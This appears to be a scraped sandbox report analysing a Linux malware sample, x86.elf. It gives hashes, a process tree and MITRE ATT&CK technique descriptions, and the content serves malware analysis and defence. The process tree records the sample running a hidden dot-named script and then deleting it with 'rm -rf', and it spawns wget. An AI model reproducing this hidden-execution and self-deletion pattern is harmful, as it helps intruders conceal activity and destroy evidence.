File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5535, Parent PID: 5529

General

Start time (UTC):	05:44:15
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	/bin/sh ./.....
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5537, Parent PID: 5529

General

Start time (UTC):	05:44:15
Start date (UTC):	10/05/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5537, Parent PID: 5529

General

Start time (UTC):	05:44:15
Start date (UTC):	10/05/2025
Path:	/usr/bin/rm
Arguments:	rm -rf .....
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86.elf PID: 5530, Parent PID: 5528

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/tmp/x86.elf
Arguments:	-
File size:	136901 bytes
MD5 hash:	b1a9dfc6e42c89e400efad9451540b1e

Chronological Activities

Analysis Process: x86.elf PID: 5531, Parent PID: 5528

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/tmp/x86.elf
Arguments:	-
File size:	136901 bytes
MD5 hash:	b1a9dfc6e42c89e400efad9451540b1e

Chronological Activities

Analysis Process: x86.elf PID: 5532, Parent PID: 5531

General

Start time (UTC):	05:44:14
Start date (UTC):	10/05/2025
Path:	/tmp/x86.elf
Arguments:	-
File size:	136901 bytes
MD5 hash:	b1a9dfc6e42c89e400efad9451540b1e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Creation, File: File Metadata, File: File Modification, Firmware: Firmware Modification, Process: OS API Execution, Process: Process Creation, Script: Script Execution, Service: Service Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: x86.elf PID: 5528, Parent PID: 5445

General

Chronological Activities

Analysis Process: x86.elf PID: 5529, Parent PID: 5528

General

Chronological Activities

Analysis Process: sh PID: 5529, Parent PID: 5528

General

Chronological Activities

Analysis Process: sh PID: 5533, Parent PID: 5529

General

Chronological Activities

Analysis Process: wget PID: 5533, Parent PID: 5529

General

Chronological Activities

Linux Analysis Report
x86.elf